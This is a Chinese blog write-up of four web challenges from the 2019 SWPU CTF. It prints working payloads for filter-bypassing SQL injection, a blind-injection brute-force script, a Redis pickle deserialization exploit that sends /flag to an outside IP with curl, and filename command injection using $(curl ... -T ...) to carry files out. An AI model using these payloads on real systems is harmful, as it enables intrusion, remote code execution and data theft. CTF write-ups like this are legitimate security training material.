sky's blog

2019 SWPU CTF Web Writeup

字数统计: 1,878阅读时长: 9 min
2019/12/06 Share

前言

12月比赛有点少,手有点生了,发现SWPU又开始了,还记得去年质量挺高的,于是来玩玩,下面是web的解题记录。

easy_web

随便注册一个用户进入,发现有广告发送的地方,随手测试:

点入发现触发了sql报错:

随手又试了一下:

发现确实可以闭合:

首先尝试联合查询注入:

1
2
3
4
5
exp:
0' union select 1,2,3,'a'='a

waf:
0'unionselect1,2,3,'a'='a

发现空格会被替换成空,于是尝试用如下方式bypass:

1
0'/**/union/**/select/**/1,2,3,'a'='a

但发现列数过多,随机放弃这个方法,选择报错注入:

1
1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/database()),0x7e))/**/||'a'='a


测试过程中发现,or被过滤,我们无法获取表名和列名,那么首先查看一下mysql版本:

1
1'/**/||/**/ST_LatFromGeoHash(concat(0x7e,(select/**/version()),0x7e))/**/||'a'='a


发现版本很高,思考mysql新特性:

1
select/**/table_name/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()

但发现mysql被过滤,继续查找新特性:

1
sys.schema_auto_increment_columns


爆表:

尝试爆表:

1
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema='web1'),0x7e))/**/&&'a'='a


发现成功获取表名,但是无法爆列名,但是可以使用无列名注入:

1
select i.1 from (select 1,2,3 union select * from flag)i

即可无需列名注入指定列数据:

1
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.2/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a


发现第二列是flag,那么注第3列:

1
1'/**/&&/**/ST_LatFromGeoHash(concat(0x7e,(select/**/i.3/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/users)i/**/limit/**/1,1),0x7e))/**/&&'a'='a


成功获取flag:

1
swpuctf{Simple_Double_Injectin}

python简单题

随便注册一个账户登入:

发现提示是Redis,随机测试一下:

发现需要授权,那么随手尝试弱密码:

结果直接就进去了,我惊呆了= =,看看里面有啥:

随便读一个内容:

那么不难想到,就是构造序列化,携带session访问时触发,进行任意命令执行。
查看自己的session:

那么利用脚本写入一个session:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env python
#
import cPickle
import os
import redis

class exp(object):
def __reduce__(self):
s = """curl -d '@/flag' 106.14.114.127:23333"""
return (os.system, (s,))

e = exp()
s = cPickle.dumps(e)

r = redis.Redis(host='114.67.109.247', port=6379, db=0, password='password')
r.set("session:1013122a-70cc-4251-b3e0-05d5731b3ae3", s)

然后刷新页面,flag即可获得:

1
swpuctf{u6frAFrJoWXnf4w6w0Q1-By@mYz}

easy_python

进入题目,发现有上传功能,但显示权限不足:

1
Permission denied!

那么猜想需要伪造session:

1
{"id":{" b":"100"},"is_login":true,"password":"sss","username":"sss"}

那么显然需要将自己伪造成id为1的用户,但是要伪造session,必须要secretkey,那么尝试模板注入:

发现response中有:

1
SWPUCTF_CSRF_Token: U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==

解码后得到:

1
SECRET_KEY:keyqqqwwweee!@#$%^&*

于是进行session伪造:

1
.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.XekyGw.wYomzVd7LK9ea7WN-mZaQ0gldjg

即可进入文件上传功能:

上传功能提示只允许上传zip,我们测试:

发现上传后,服务器会解压压缩包。
于是尝试软连接:

发现可以成功任意文件读取,读取了:

1
2
3
4
/proc/self/maps
/proc/self/cwd
/proc/self/cmdline
....

发现都没找到路径,结果F12,发现源码写在注释里……喷血= =。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
@app.route('/upload',methods=['GET','POST'])
def upload():
if session['id'] != b'1':
return render_template_string(temp)
if request.method=='POST':
m = hashlib.md5()
name = session['password']
name = name+'qweqweqwe'
name = name.encode(encoding='utf-8')
m.update(name)
md5_one= m.hexdigest()
n = hashlib.md5()
ip = request.remote_addr
ip = ip.encode(encoding='utf-8')
n.update(ip)
md5_ip = n.hexdigest()
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename
if "zip" != filename.split('.')[-1]:
return 'zip only allowed'
if not os.path.exists(path_base):
try:
os.makedirs(path_base)
except Exception as e:
return 'error'
if not os.path.exists(path):
try:
os.makedirs(path)
except Exception as e:
return 'error'
if not os.path.exists(pathname):
try:
f.save(pathname)
except Exception as e:
return 'error'
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)
except Exception as e:
return 'error'
unzip_file = zipfile.ZipFile(pathname,'r')
unzip_filename = unzip_file.namelist()[0]
if session['is_login'] != True:
return 'not login'
try:
if unzip_filename.find('/') != -1:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
image = open(path+unzip_filename, "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
except Exception as e:
shutil.rmtree(path_base)
os.mkdir(path_base)
return 'error'
return render_template('upload.html')


@app.route('/showflag')
def showflag():
if True == False:
image = open(os.path.join('./flag/flag.jpg'), "rb").read()
resp = make_response(image)
resp.headers['Content-Type'] = 'image/png'
return resp
else:
return "can't give you"

发现敏感点:

1
2
3
4
5
6
try:
cmd = "unzip -n -d "+path+" "+ pathname
if cmd.find('|') != -1 or cmd.find(';') != -1:
waf()
return 'error'
os.system(cmd)

此处我们可以进行命令注入,跟踪path和pathname:

1
2
3
4
5
6
f=request.files['file']
basepath=os.path.dirname(os.path.realpath(__file__))
path = basepath+'/upload/'+md5_ip+'/'+md5_one+'/'+session['username']+"/"
path_base = basepath+'/upload/'+md5_ip+'/'
filename = f.filename
pathname = path+filename

发现文件名可以进行命令注入,于是测试:

1
filename="$(curl vps_ip:23333).zip"


发现可以收到请求,尝试外带数据:

1
$(curl 106.14.114.127:23333 -T `pwd`).zip


那么尝试读取flag:

1
./flag/flag.jpg

但是遇到问题:

1
2
if unzip_filename.find('/') != -1:
if cmd.find('|') != -1 or cmd.find(';') != -1:

我们发现过滤了一些关键符号,那么只能尝试构造符号,随便搜一个ascii转字符的命令:

1
https://blog.csdn.net/c20130911/article/details/73187757

即可进行字符转换:

那么我们伪造/:

那么构造exp:

1
$(sky=`awk 'BEGIN{printf "%c\n",47}'`&&curl vps_ip:23333 -T `cat .${sky}flag${sky}flag.jpg`)

将图片带出后,做一些修改,删除FFD8前的数据,打开即可得到flag:

demo_mvc

发现比赛太晚,做的时候已经有hint了:

1
无需扫描 hint:PDO::query

那么不难想到,应该是有注入了:

对于PDO,我首先想到的是堆叠注入,随机测试一下:

1
select sleep(5)


发现成功sleep 5秒,那么尝试爆库爆表爆字段:
首先测试:

1
2
3
select if((ascii(substr((database()),1,1))>-1),sleep(5),1)

{"username":"sss';SET @aaa=0x73656c6563742069662828617363696928737562737472282864617461626173652829292c312c3129293e2d31292c736c6565702835292c3129;PREPARE test FROM @aaa;EXECUTE test;","password":"sss'"}

发现成功sleep 5秒,随后测试payload:

1
2
3
select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))>-1),sleep(5),1)

{"username":"sss';SET @aaa=0x73656c6563742069662828617363696928737562737472282873656c6563742067726f75705f636f6e636174285441424c455f4e414d45292066726f6d20696e666f726d6174696f6e5f736368656d612e5441424c4553207768657265205441424c455f534348454d413d64617461626173652829292c312c3129293e2d31292c736c6565702835292c3129;PREPARE test FROM @aaa;EXECUTE test;","password":"sss'"}

发现依旧成功sleep 5秒,那么开始编写exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

exp = '''{"username":"sss';SET @aaa=0x%s;PREPARE test FROM @aaa;EXECUTE test;","password":"sss'"}'''
#payload = 'select if((ascii(substr((select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()),%s,1))=%s),sleep(5),1)'
#payload = 'select if((ascii(substr((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x666C6167),%s,1))=%s),sleep(5),1)'
payload = 'select if((ascii(substr((select flag from flag limit 0,1),%s,1))=%s),sleep(5),1)'

url = 'http://182.92.220.157:11116/index.php?r=Login/Login'
res = ''
for i in range(1,100):
print i
for j in range(32,127):
now_payload = payload %(i,j)
now_exp = exp % now_payload.encode('hex')
try:
r = requests.post(url=url,data=now_exp,timeout=4.5)
except:
res +=chr(j)
print res

得到表名:

1
flag,user

flag表中列名:

1
flag

于是读取数据,得到:

1
AmOL#T.zip

下载后发现是代码审计。

1
View/userIndex.php

发现文件读取:

构造:

1
http://182.92.220.157:11116/index.php?r=User/Index&img_file=/../flag.php

即可获取flag:

得到flag:

1
swpuctf{H@ve_a_g00d_t1me_durin9_swpuctf2019}

后记

做了4道题,最后一题看是java xxe,估计要结合一个特性,自己对java不是很熟,就不去肝了。不过前4题做下来,感觉难度比往年低了不少(

点击赞赏二维码,您的支持将鼓励我继续创作!
CATALOG
  1. 1. 前言
  2. 2. easy_web
  3. 3. python简单题
  4. 4. easy_python
  5. 5. demo_mvc
  6. 6. 后记